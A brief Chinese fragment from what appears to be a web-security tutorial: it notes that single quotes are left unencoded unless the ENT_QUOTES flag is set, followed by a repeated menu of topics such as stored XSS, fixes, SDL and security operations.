在这个参数中默认是不编码单引号的,要加上ENT_QUOTES参数才会编码。
存储型
修复
WEB安全体系建设
SDL介绍
漏洞和事件处理
安全运营概述
S转移WEB安全体系建设
SDL介绍
漏洞和事件处理
安全运营概述